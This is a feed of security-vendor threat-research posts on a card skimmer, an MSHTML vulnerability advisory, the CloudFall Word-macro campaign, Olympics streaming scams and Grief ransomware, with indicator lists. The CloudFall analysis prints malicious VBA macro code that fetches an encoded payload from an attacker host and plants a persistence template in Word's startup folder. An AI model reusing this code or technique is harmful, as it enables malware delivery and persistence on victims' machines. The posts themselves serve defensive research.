1EZaTGTuGabin1HxQsXJdGafqQvfPYp69b The victims who transfer money to this wallet will lose their bitcoins. This wallet has received 1.48299884 bitcoins till now (worth around $69K). Currently, the site is taken down, and we believe it to be a short-lived attack. The huge sum collected in the bitcoin wallet in such a short period of time shows a sophisticated and highly successful attempt by the scammers. Scammers are becoming smart and observant, and whenever such hyped events happen, they try to take advantage of this to target mass audiences. Stay away from such unofficial giveaways and do not fall for such hype-driven scams. Tue, 21 Sep 2021 08:16:49 -0700 Viral Gandhi FakeClicky Activity: Skimmers Hit Again Zscaler ThreatLabz team monitors different skimmer groups and recently we have seen a spike in the use of the FakeClicky skimmer loader to steal payment details from e-commerce websites. This skimmer has been active for at least the past 2 years. Skimmer groups continue to enhance their techniques to evade detection, using multiple evasion techniques such as abusing third party scripts and hiding malicious skimmer scripts in the images, abusing legitimate services such as Google analytics and Telegram. The most frequent technique that is used in almost all skimmer campaigns at some stage is the use of newly registered domains, which provide an advantage against reputation-based detection mechanisms. Attackers register domains that are lexically similar to legitimate services, increasing their chances of remaining undetected. In the past, ThreatLabz has observed skimmer groups using various ways to inject the malicious code into e-commerce websites, including compromising third-party scripts, and injecting malicious code directly into either all pages or selected pages of targeted e-commerce websites. Adding skimmer code only on the checkout pages is used in more sophisticated attacks, and helps the skimmer remain undetected for a long time. The FakeClicky skimmer is one such skimmer. FakeClicky leverages newly registered domains, uses a fake Google Analytics script as a loader, and injects malicious skimmer code on the checkout page. Figure 1: FakeClicky skimmer activity in the past two months. The malicious skimmer loader script is injected into the e-commerce website under the tag <!-- Google Tag Manager -->, pretending be a legitimate GTag script. The loader script is injected in all the pages on the compromised e-commerce website, but the skimmer is only loaded on the ‘Checkout’ page. The ThreatLabz team has not observed any major enhancements to the loader script. Below, we will share our analysis of the different versions of the skimmer codes we've observed in the past few months, as well as attackers' use of newly registered domains. Figure 2: Skimmer loader injected inline in the compromised website. The loader script loads the skimmer code from a newly registered domain in most cases. During analysis, we have observed that most of the newly registered domains related to the recent activity from this skimmer are resolving to IP 195.54.160[.]61 and there are multiple similar domains which could be used in future. Most of these domains were registered in the months of September and August, but a few have been active since April of this year. Figure 3: Newly registered domains resolving to 195.54.160[.]61 related to FakeClicky (Source:RiskIQ) Apart from the IP 195.54.160[.]61, domains resolving to IP 195.54.160[.]161 related to this recent activity have been active for one month. Figure 4: Newly registered domains resolving to 195.54.160[.]161 related to FakeClicky (Source:RiskIQ) Most of these newly registered domains are registered in such a way that they could easily remain undetected in legitimate traffic. Various top level domains are used like .shop, .work, .cloud etc. Skimmer Figure 5: Obfuscated skimmer code injected from a newly registered domain. Skimmer flow The script checks if the document is fully loaded or the initial HTML document has been completely loaded and parsed, without waiting for the other resources. The URI path is checked and matched if the current page is a payment page and is matched with keywords like checkout, asinine, placeanorder.asp, buy-tickets, onepage, onepagecheckout and billpay. If the URI matches the provided keywords in Step 2, the main function to extract the payment information is called and base64 encoded data exfiltration domain is passed as parameter along with the HTTP method as POST. Information from all the input, select and textarea tags is extracted and is encoded to base64 after passing it to encodeURIComponent and is pushed to a list. Before sending the extracted data to the attacker's controlled domain, cookie value ‘lastva1ue’ is checked if it already has the recently extracted information and if not then the cookie value is updated and data is sent with content type ‘application/x-www-form-urlencoded’. Step 4 and 5 are kept on repeated While analyzing this recent activity we found a few earlier versions of this skimmer which were active a few months earlier, with a major difference: it specifically targets the Braintree payment solution and replaces legitimate forms with a malicious fake form. The rest of the flow is the same as in the recent infections. Figure 6: Replacing Braintree payment form with the fake form. Figure 7: Base64 encoded (top) fake payment form, decoded (down) fake payment form. A few other versions of this skimmer campaign are not specific to any payment service and inject a general fake payment form. Figure 8: General fake payment form. Conclusion Skimmer groups continue to infect e-commerce websites in large numbers using newly registered domains, enhancing their techniques to remain undetected for long periods of time. It is recommended that shoppers use only known and legitimate e-commerce websites, and that you double-check the URL of e-commerce websites before submitting payment information. Zscaler ThreatLabZ team will continue to monitor skimmer activities to ensure coverage for Zscaler customers. Indicators of Compromise (IOCs) Skimmer domains pro-cdn-data[.]site data-cdn[.]site dev-connect[.]work dev-connect[.]cloud data-log[.]site formstats[.]us dev-connect[.]us trafficstats[.]co google-info[.]us data-update[.]site plugin-app[.]cloud dev-connect[.]com[.]de cdn-plugin[.]co[.]uk cdnplugin-info[.]cloud dev-extension[.]one dev-extension[.]us dev-extension[.]cloud dev-connect[.]one plugin-connect[.]one dev-connect[.]co[.]uk plugin-connect[.]us trafficstats[.]us trafficstats[.]company plugin-app[.]org trafficstats[.]business pro-cdn2[.]site nice-cdn[.]site plugin-connect[.]cloud google-stats[.]work cdn-plugin[.]us ticket-stat[.]site xenapp[.]blog cloud-app[.]shop trafficapps[.]org trafficapps[.]us trafficapps[.]business cloud-info[.]express wp-extension[.]work trafficapps[.]quest wp-extension[.]cloud cloud-info[.]email Related IP addresses 195[.]54[.]160[.]61 195[.]54[.]160[.]161 Wed, 15 Sep 2021 12:14:35 -0700 Prakhar Shrotriya Security Advisory: Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444) Background On 7th September 2021, Microsoft released an advisory for CVE-2021-40444. The CVE has a CVSS score of 8.8. What is the issue? Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444) Microsoft has released an advisory for CVE-2021-40444, a Remote Code Execution Vulnerability in MSHTML that affects Microsoft Windows. The exploit for this vulnberability has been detected in the wild. Systems impacted Windows 7 for x64-based Systems Service Pack 1 Windows 7 for 32-bit Systems Service Pack 1 Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows RT 8.1 Windows 8.1 for x64-based systems Windows 8.1 for 32-bit systems Windows Server 2016 (Server Core installation) Windows Server 2016 Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows Server, version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server, version 2004 (Server Core installation) Windows 10 Version 2004 for x64-based Systems Windows 10 Version 2004 for ARM64-based Systems Windows 10 Version 2004 for 32-bit Systems Windows Server 2022 (Server Core installation) Windows Server 2022 Windows 10 Version 21H1 for 32-bit Systems Windows 10 Version 21H1 for ARM64-based Systems Windows 10 Version 21H1 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems What can you do to protect yourself? Microsoft has suggested a workaround of disabling installation of all ActiveX controls in Internet Explorer which will allow previously installed ActiveX controls to run but will not expose this vulnerability. By default, Microsoft Office opens documents from the internet in Protected View or Application Guard for Office. These safeguards will prevent the current exploitation of CVE-2021-40444. Zscaler coverage Zscaler ThreatLabZ has added detection signatures for exploitation of this vulnerability through our Advanced Threat Protection and Advanced Cloud Sandbox Protection. Advanced Cloud Sandbox Signature DOC.Exploit.CVE-2021-40444 Advanced Threat Protection Signature HTML.Exploit.CVE-2021-40444 Details related to these signatures can be found in the Zscaler Threat Library. Reference Thu, 09 Sep 2021 14:19:55 -0700 Rohit Hegde CloudFall Targets Researchers and Scientists Invited to International Military Conferences in Central Asia and Eastern Europe In August 2021, Zscaler ThreatLabz identified several malicious Microsoft Word documents which used a multi-stage attack-chain abusing Cloudflare Workers and features of MS Office Word to target users in Central Asia and Eastern Europe. Based on the social engineering lures used in the decoy content, we conclude with a moderate confidence level that the targets of this campaign were scientists and researchers who were invited to International military conferences. This multi-stage attack chain involves several new tactics, techniques, and procedures (TTPs) which have not been documented before. In the remainder of this blog, we'll share the technical details of the attack as well as threat attribution. We have named this threat actor CloudFall based on the network infrastructure used by them. There is also a strong overlap between this threat actor and the CloudAtlas APT group. We will explain this in more detail in the threat attribution section of the blog. Unlike common macro-based document attacks, in this targeted campaign we observed the threat actor abusing MS Office Word features to evade automated analysis systems. There were multiple variants of attack-chains used by this threat actor which highlight the adversary's deep understanding of the MS Office Word application. Threat Attribution We performed threat attribution based on the below 4 parameters. 1. Attack-chain 2. Naming convention of attacker-controlled C2 domains 3. Regions targeted and content of the decoy files 4. Correlation of creation and compilation timestamp of all the artifacts (documents and payloads) Attack-chain: In all the cases, an MS Office Word document was used to download a remote document template and carry out the attack in multiple stages. A lot of TTPs in this attack-chain have not been seen before and are unique to the threat actor in this case. Naming conventions of attacker-controlled C2 domains: We observed a consistent pattern across all the C2 domains used in this targeted campaign. All the C2 servers used Cloudflare Worker domains and most of the subdomain names were crafted to spoof Microsoft service names such as Office 365. office365.dc-microsoft.workers[.]dev[.]dev asia.office365-cloud.workers[.]dev[.]dev api.office365online.workers[.]dev Regions targeted and content of the decoy files: Based on the instances we observed in this campaign, the regions targeted were Central Asia and Eastern Europe. Correlation of creation and compilation timestamp of all the artifacts: We checked the creation timestamp for each of the stage-1 documents as well as the compilation timestamp of the payloads. All the timestamps were in the range: 5:30 AM UTC to 8:30 AM UTC Based on this, we can say with a moderate confidence level that the threat actor was located in the eastern part of the world. By combining all of the above observations, we can say with a moderate confidence level that there is an overlap with CloudAtlas APT threat actor. CloudAtlas APT has targeted users in Central Asia and Eastern Europe in the past with documents sent in spear-phishing emails and downloaded remote templates. CloudAtlas has also abused legitimate cloud-based services, such as CloudMe, in the past and used domain names that spoof legitimate Microsoft services. The tactics, techniques, and procedures (TTPs) are very unique in this instance so we cannot use them to specifically attribute to any threat actor. Document decoy contents Each MS Office Word document in this targeted campaign displays an overlay image which will be replaced by text when the document load is completed in the MS Office Word application. For the document with MD5 hash: 4cf8b660a79fc1b7cc4ea6422a02347d, seen in Figure 1, the cover image is the logo of the German Federal Foreign Office. Figure 1: Cover image displayed in Stage-1 document All the cover images of the remaining documents are shared in Appendix I. These cover images also give a quick idea about the targeted region of the campaign. The text content behind this overlay image is as shown in Figure 2. Figure 2: Text present inside the document behind the cover image The text displayed contains information about the International Conference on Military Strategies and Methods. This conference invites researchers, scientists, and research scholars. The invitation above is a "Call for contribution". Based on this, we conclude that the targets of this campaign are researchers and scientists related to various disciplines such as Military strategy. Attack flow In this campaign, the threat actor used a complex multi-stage attack-chain, which we illustrate in Figure 3. This attack chain will be explained in more details step-by-step in the Technical Analysis section of the blog. Also, it is important to note that there are 2 different variants of attack-chains that we observed for this threat actor. The second and the new variant was used for the first time on August 25th 2021 and we describe it later in the blog in the "Attack-chain: Variant 2" section. Variant #1 Figure 3: Attack-chain of first variant Technical analysis In this section, we will look at the first variant of the attack-chain. For the purpose of technical analysis we will consider the document with MD5 hash: 4cf8b660a79fc1b7cc4ea6422a02347d Stage-1: Main document Stage-1 document fetches a macro-based template document hosted on the attacker-controlled website and lures the user to enable the macros. The interesting thing to note here is that the attacker doesn’t use the standard DOCX file format (OOXML) for template injection where we have the XML file referencing the document template from a network path. Instead, in this case, the template injection is performed using the DOC file format. As a result, static analysis tools like olevba cannot be used to extract the URL. Stage-2: Macro-based template document Once macros are enabled by the user, the VBA macro code inside the downloaded template is executed. The macro code performs the following operations: 1. When the document is opened, it hides the decoy image shown to the user. The image is an overlay for the text content which is displayed to the user once the macros are enabled. Below is the relevant VBA macro code responsible for this. Sub Document_Open() Dim i As Integer For i = ActiveDocument.Shapes.Count To 1 Step -1 ActiveDocument.Shapes(i).Delete Next i End Sub 2. When the document is closed, it checks whether a document template file is present in the path: "%appdata%\Microsoft\Word\STARTUP\Main.dotm". If this file is not found, then it will be downloaded and saved in this location. It's important to note that the above directory path corresponds to STARTUP location used by Microsoft Office Word application to load global templates. The template file is downloaded as base64-encoded data from the URL: "https://cloud.digitalstorage.workers[.]dev/old/data". The downloaded base64-encoded data is mangled and it requires a simple character substitution before decoding. Macro replaces "$" with "A" and "#" with "Q" in the mangled response before base64-decoding. Below is the relevant VBA macro code responsible for this. Sub Document_Close() If Dir(Environ$("APPDATA") + "\Microsoft\Word\STARTUP\Main.dotm", vbDirectory) = vbNullString Then Dim xmlhttp As New MSXML2.XMLHTTP60 Dim data As String Dim fileData As Integer: fileData = FreeFile xmlhttp.Open "GET", "https://cloud.digitalstorage.workers[.]dev/old/data", False xmlhttp.send If Len(xmlhttp.responseText) > 0 Then Open Environ$("APPDATA") + "\Microsoft\Word\STARTUP\Main.dotm" For Binary Access Write As fileData Put fileData, , DecodeBase64(Replace(Replace(xmlhttp.responseText, "$", "A"), "# ", "Q")) Close End If End Sub Stage-3: Persistence template The template file "Main.dotm" acts as a persistence template since it is loaded whenever the Microsoft Word application is started. Similar to Stage-2, this is also a macro-based template. The malicious macro code is defined under the AutoExit function which is executed when the Microsoft Word application is closed or the global template defining it is unloaded. Upon execution, the macro code downloads a base64-encoded binary either from "mirror.advancestore.workers[.]dev/max/bs" or "mirror.advancestore.workers[.]dev/min/bs" based on the checks performed. Similar to Stage-2, the base64-encoded binary is mangled and requires character substitution before decoding. Once decoded, the macro code drops it as the next stage payload in the path %localappdata%\Photos\Microsoft.Photos.exe and executes it. Note: The dropped file name spoofs legitimate Windows binary for Microsoft Photos. Relevant code is shown in Figure 4. Figure 4: VBA macro code of Stage-3 persistence document template Stage-4: Dropped binary The Stage-4 dropped binary is heavily obfuscated using control flow obfuscation, function inlining, stack-based strings generation, strings encoding, etc which makes the dynamic analysis of the binary inside a debugger difficult. To further hinder the dynamic analysis using debugger, the binary performs self checksum check to detect any attached debugger. It also hooks the ZwProtectVirtualMemory API. To allocate memory region for trampoline, the binary performs memory allocation brute force to allocate the memory just after the last loaded dll memory space. Figure 5 below shows the trampoline code. Figure 5: API hook added for ZwProtectVirtualMemory with an unconditional JMP trampoline Executing further, the malicious binary checks for the presence of the file conf.h in the current working directory. If the file exists, it tries to read and parse it. Figure 6 below shows the code which performs string generation and does the file existence check for conf.h Figure 6: Code section which performs conf.h string generation and file existence check Note: The file is likely fetched and dropped by the binary as part of C2 communication If the conf.h file doesn’t exist, then it checks the following browser directories for the presence of specific files one at a time: 1. %appdata%\Mozilla\Firefox\Profiles 2. %localappdata%\Google\Chrome\User Data\Default 3. %appdata%\Opera Software\Opera Stable For the files found, it adds up the size of all these files and checks if it is greater than or equal to the specified threshold value. In case the calculated size is less than the threshold value or if none of the browser directory mentioned above exists, the binary terminates. Note: The size check is likely performed to detect analysis environments like Sandbox and Virtual Machine Following files are used for calculating the size in case of Chrome browser: %localappdata%\Google\Chrome\User Data\Default\History %localappdata%\Google\Chrome\User Data\Default\Visited Links %localappdata%\Google\Chrome\User Data\Default\Favicons %localappdata%\Google\Chrome\User Data\Default\Web Data %localappdata%\Google\Chrome\User Data\Default\Cookies %localappdata%\Google\Chrome\User Data\Default\Media History %localappdata%\Google\Chrome\User Data\Default\IndexedDB\{sub_dir}\* Figure 7 below shows the code responsible for performing the threshold check. Figure 7: Code section which performs the threshold check If the check passes for any of the three browser directories mentioned above then it starts the network communication. Network Communication The network communication is performed over standard TCP/IP protocol. The details for the C2 server communication are mentioned below: C2 Domain: Beacon request URI: auth/local/register Request Type: POST Data: {\"email\":\"01yql@mip6pq.local\",\"password\":\">*#-L:3Wy5;;#/[N^{uh{P6t\",\"username\":\"B60FB93BC49DF8848C4AF287BC112CF6_oAj\"} Inside the POST request data there are three key-value pairs which are generated as specified below. email - {random_data}@{random_data}.local password - {random_data} username - {encoded %USERPROFILE% creation timestamp}_{random_data} Note: During analysis we didn’t get any active response from the C2 server. As a result, we couldn’t analyse the full behaviour of the malicious binary. [+] SSL Certificate The thumbprint of the SSL certificate of the C2 domain is: 5cdf93a4081898d99a686ad472b553cddaa9f3bf Below are some important details of this SSL certificate: Thumbprint: 5cdf93a4081898d99a686ad472b553cddaa9f3bf Signature Algorithm: sha256RSA Issuer: C=US CN=R3 O=Let's Encrypt Validity Not Before: 2021-08-18 06:57:36 Not After: 2021-11-16 06:57:34 Subject: CN=*.fetrikekke531.workers[.]dev Using the thumbprint of the SSL certificate as a pivot, we discovered another C2 domain: virustotall-360d.fetrikekke531.workers[.]dev As we can see, the subdomain in above domain spoofs VirusTotal. Attack-chain: Variant 2 The second variant of this attack, which we observed in August 2021 made significant changes to the macro code used in the document to deploy the payload on the machine. MD5 hash of the document: 2043b7129bfbe83c95a27c0a20d10612 Similar to variant 1, variant 2 also downloads a remote document template hosted on an attacker-controlled Cloudflare Worker instance. However, unlike variant 1, in this case, the persistence document template as well as the final payload—both are embedded inside the stage-2 document itself. It uses a clever technique to extract these contents and drop them on the machine. This attack flow can be represented using the diagram shown in Figure 8. Variant #2 Figure 8: Attack-chain of the second variant Below is the description of attack flow. 1. Stage-1 document downloads remote document template (Stage-2) 2. Since MS Office Word was used to download the document template (Stage-2), by default it will be present inside the INetCache directory. The VBA macro code uses a clever technique to locate this file in the path: "%localappdata%\Microsoft\Windows\INetCache\Content.MSO\" as shown in Figure 9. Figure 9: VBA macro code of Stage-2 document template of variant 2 a) This code enumerates the files in the directory: "%localappdata%\Microsoft\Windows\INetCache\Content.MSO\" until it finds a file with size 70400 (truncated) b) Once it finds the file, it will Unzip the contents to the directory path: "%localappdata%\VirtualEnv". OOXML file format is essentially an archive file format, and that’s why the macro unzips it. c) Inside the OOXML file, there is an XML file called Archive.xml which contains an encoded version of the persistence template. This is decoded and dropped to the path: %appdata%\Microsoft\Word\STARTUP\Settings.dotm d) In order to decode the contents of Archive.xml it performs character substitution to restore the original characters of the base64-encoded string. Then it adds the prefix: "UEs" and base64 decodes it. Code: Base64Decode("UEs" + Replace(Replace(data, "#", "A"), "@", "Q")) This type of custom base64 decoding is similar to variant 1 3. Once a new instance of the Word application is started on the machine, this persistence template is loaded and the next sequence of steps are carried out to drop the final payload as shown in Figure 10. Figure 10: VBA macro code of persistence template of variant 2 a) Decodes and extracts the payload from WebArchive.xml file. The method for decoding is similar to the one described previously. b) The decoded file is the final payload which will be dropped to the path: %localappdata%\VirtualEnv\word\Virtual.exe 4. Finally the payload Virtual.exe will be executed. This payload is similar to the one described above. Zscaler Cloud Sandbox detection Figure 11 shows the sandbox detection for the final payload. Figure 11: Zscaler Cloud Sandbox detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. Win32.Backdoor.CloudFall Win64.Backdoor.CloudFall VBA.Downloader.CloudFall Indicators of compromise [+] Document Hashes MD5 File name Uploader country 4774483bb72ddfa0f6e4b8c5be7093dd Military cooperation 2021.doc Ukraine e4c29642f3803b1bc9aa61603696bb4b International Conference on Military Strategy and Strategic Intelligence 2021.doc India 5cba8589a4a76377f9340ef30d6fec41 Tender information.doc Kazakhstan 4cf8b660a79fc1b7cc4ea6422a02347d CONFIDENTIAL - International Conference on Military Strategies and Methods.doc Switzerland 2043b7129bfbe83c95a27c0a20d10612 Situation report - August 25.doc USA [+] Binary Hashes MD5 File name e35a1add6ddc944e9a757cb65a73db19 Microsoft.Photos.exe abe0b037dfa52d895c1cd8148988fcc1 Virtual.exe [+] C2 Domains - Documents documents.publicserver[.] office365.dc-microsoft.workers[.]dev cloud.digitalstorage.workers[.]dev plug.repository.workers[.]dev mirror.advancestore.workers[.]dev[.]dev asia.office365-cloud.workers[.]dev[.]dev api.office365online.workers[.]dev [+] C2 Domains - Dropped binary curly-waterfall-360d.fetrikekke531.workers[.]dev falling-haze-1812.jerkufetra754.workers[.]dev [+] C2 domains - Additional virustotall-360d.fetrikekke531.workers[.]dev falling-haze-1813.jerkufetra754.workers[.]dev [+] Download URL Component URL Stage-2 marco doc documents.publicserver[.] office365.dc-microsoft.workers[.]dev/main/doc[.]dev/encoding/data/office asia.office365-cloud.workers[.]dev/office/online Stage-3 persistence template cloud.digitalstorage.workers[.]dev/old/data plug.repository.workers[.]dev/modules/private Stage-4 exe payload mirror.advancestore.workers[.]dev/max/bs mirror.advancestore.workers[.]dev/min/bs public.datastore.workers[.]dev/strong/bs [+] SSL certificate thumbprints 5cdf93a4081898d99a686ad472b553cddaa9f3bf c4c3394b0fe4534f5c63ad395cc028b347ba4fa3 [+] File paths ​ // Persistence template %appdata%\Microsoft\Word\STARTUP\Main.dotm %appdata%\Microsoft\Word\STARTUP\Future.dotm %appdata%\Microsoft\Word\STARTUP\Settings.dotm // Dropped/Downloaded files %localappdata%\Photos\Microsoft.Photos.exe %localappdata%\Tools\build.exe %localappdata%\VirtualEnv\word\virtual.exe %localappdata%\Photos\conf.h %localappdata%\VirtualEnv\word\conf.xml Appendix I [+] Decoy #2 [+] Decoy #3 [+] Decoy #4 [+] Decoy #5 Appendix II // Conferences referenced in decoy content Thu, 09 Sep 2021 09:00:01 -0700 Sudeep Singh Fake Streaming & Adware Target Olympics 2020 Online streaming of sporting events has increased since the Rio 2016 Olympics. The Olympics is a very popular event attracting billions of viewers across the globe -- and between cord-cutting and COVID-19, more viewers streamed the recent Summer Olympic games than ever before. Most of the streaming transactions observed by the Zscaler ThreatLabz team were from the United States and Europe, with Germany and France leading in transactions. Within the Asia Pacific countries, India and Japan led the way. The importance and popularity of the event makes it a target for cyberattacks, with threat actors installing malicious software from ransomware to coin miners. Streaming transaction by country (top 15) Zscaler ThreatLabz is always on the lookout for threat actors trying to take advantage of major world news and events. For example, during the Rio 2016 Olympics, we observed exploit kit traffic originating from compromised sites that redirect users to various payloads. We have seen hits for RIG EK dropping Qakbot and Neutrino EK dropping CryptXXX. At the peak of the COVID-19 panic in 2020, we saw threat actors using newly registered domains (NRDs) to target users. During the Tokyo Summer Olympics 2020, we saw fake streaming sites trying to steal and scam users and adware activity redirecting users to install irrelevant browser extensions like YourStreamSearch—a known browser hijacker. We have also seen activity from OlympicDestroyer, a malware that drops credential stealers onto the target machine. Fake/Suspicious streaming sites requesting for payment ThreatLabz observed multiple instances of suspicious streaming services. These streaming websites are not associated with legitimate Olympic streaming providers. Instead, the websites claim to provide free access and then request payment credentials from customers. The sites often reuse a template that we’ve seen for many current events, including NBA, Olympic, and football events. In the screenshot below, we can see a fake streaming site claiming to provide unlimited access for free. Fake streaming site Registration form Once the user completes the registration, they are directed to the payment portal. In the screenshot below, we can see the payment portal requesting user payment details. Fake payment portal Adware activity: We have seen Olympic-themed adware that claims to offer free streaming services but instead redirects users to unrelated sites for betting, auto trading, etc. We have seen cases where users are redirected to install adware in the form of browser extensions and fake software updaters. In the case below, we can see olympicstreams[.]me redirecting users to install the YourStreamSearch browser extension. YourStreamSearch is a known browser hijacker that recommends ads based on search history Site offering Olympics 2020 streaming Redirect to YourStreamSearch browser extension OlympicDestroyer OlympicDestroyer is a sophisticated malware that was first observed during the 2018 Winter Olympics in South Korea. The malware compromised the official Olympics website. This affected the sale of tickets. At its core, OlympicDestroyer is a worm that spreads using Windows network shares. The malware drops multiple files onto the victim machine. These files are embedded as resources and obfuscated. The files try to steal browser and system credentials. An interesting behavior of this dropper is that it can generate different binaries based on the credentials it obtains. This has resulted in many variations of samples accomplishing the same task. In addition to credential harvesting, the malware also tries to disable the target machine by using cmd.exe to disable backups, edit boot policies, and delete event logs, among other fun things that make it difficult to recover the machine. Hits for OlympicDestroyer The FBI Cyber Division has released an advisory warning users about threat actors attempting to disrupt the event using DDoS, insider threats, ransomware, social engineering, and phishing campaigns. The advisory describes best practices and guidelines for work from home environment and general user awareness. Suggested guidelines to protect against these attacks: Update VPNs, network infrastructure devices, and devices used for remote work environments. If possible, enable multi-factor authentication on all VPN connections. Verify the source of emails with “too good to be true” deals. Be wary of any suspicious attachments. Avoid unofficial mobile application stores. Verify the authenticity of the URL or website address before clicking on a link. Stay away from emailed invoices - this is often a social engineering technique used by cybercriminals. Use two-factor authentication whenever possible, especially on sensitive accounts such as those used for banking Always ensure that your operating system and web browser have the latest security patches installed. Backup your documents and media files - this is extremely important with ransomware infections. Wed, 25 Aug 2021 08:00:18 -0700 Deepak Shanker DoppelPaymer Continues to Cause Grief Through Rebranding In early May 2021, DoppelPaymer ransomware activity dropped significantly. Although the DoppelPaymer leak site still remains online, there has not been a new victim post since May 6, 2021. In addition, no victim posts have been updated since the end of June. This lull is likely a reaction to the Colonial Pipeline ransomware attack which occurred on May 7, 2021. However, the apparent break is due to the threat group behind DoppelPaymer rebranding the ransomware under the name Grief (aka Pay OR Grief). An early Grief ransomware (aka Pay or Grief) sample was compiled on May 17, 2021. This sample is particularly interesting because it contains the Grief ransomware code and ransom note, but the link in the ransom note points to the DoppelPaymer ransom portal. This suggests that the malware author may have still been in the process of developing the Grief ransom portal. Ransomware threat groups often rebrand the name of the malware as a diversion. In this blog, we will compare the similarities between DoppelPaymer and Grief ransomware. Both ransomware leak sites are nearly identical, including shared code that displays a captcha to prevent automated crawling as shown in Figure 1. Figure 1. Grief ransomware (left) and DoppelPaymer (right) captcha The main landing page has changed the term latest proofs to griefs in progress and latest leaks to complete griefs. The victim-specific leak page layouts are also identical as shown below in Figure 2 containing the victims URL, organizational description, images of stolen data, example stolen data files, and a list of machines that were compromised. Figure 2. Grief ransomware (left) and DoppelPaymer (right) victim leak pages The Grief ransom portal has some differences from the DoppelPaymer portal. In particular, the ransom demand payment method is made in Monero (XMR) instead of Bitcoin (BTC). This switch in cryptocurrencies may be in response to the FBI recovering part of the Colonial Pipeline ransom payment. The Grief ransom portal, however, kept the same live chat code that allows victims to resume a previous conversation or to start a new conversation as shown in Figure 3. Figure 3. Grief ransomware (left) and DoppelPaymer (right) victim ransom portals Grief ransomware portal and leak site also attempts to weaponize the European Union’s General Data Protection Regulation (GDPR) to pressure businesses into paying a ransom to avoid potential fines. The malware code differences between DoppelPaymer and Grief are also relatively minimal. Grief samples removed the embedded ProcessHacker binaries. However, Grief still retains the code to decrypt data from the binary’s .sdata section. The Grief string encryption algorithm is similar to DoppelPaymer, except the RC4 key was increased from a length of 40 bytes to 48 bytes. The vast majority of the two codebases are very similar with identical encryption algorithms (2048-bit RSA and 256-bit AES), import hashing, and entry point offset calculation. Conclusion Grief ransomware is the latest version of DoppelPaymer ransomware with minor code changes and a new cosmetic theme. The threat group has been very active since the release of Grief in the middle of May 2021. However, they have been successful in maintaining a low profile so far. This is in light of recent high-profile attacks including the Colonial Pipeline hack by Darkside ransomware and the Kaseya supply-chain attack by REvil. Indicators of Compromise (IOCs) The following IOCs can be used to detect Grief ransomware. Samples SHA256 Hash Module Name b5c188e82a1dad02f71fcb40783cd8b910ba886acee12f7f74c73ed310709cd2 Grief ransomware sample 91e310cf795dabd8c51d1061ac78662c5bf4cfd277c732385a82f181e8c29556 Grief ransomware sample dda4598f29a033d2ec4f89f4ae687e12b927272462d25ca1b8dec4dc0acb1bec Grief ransomware sample 0864575d4f487e52a1479c61c2c4ad16742d92e16d0c10f5ed2b40506bbc6ca0 Grief ransomware sample b21ad8622623ce4bcdbf8c5794ef93e2fb6c46cd202d70dbeb088ea6ca4ff9c8 Grief ransomware sample (early build) Wed, 28 Jul 2021 11:40:06 -0700 Brett Stone-Gross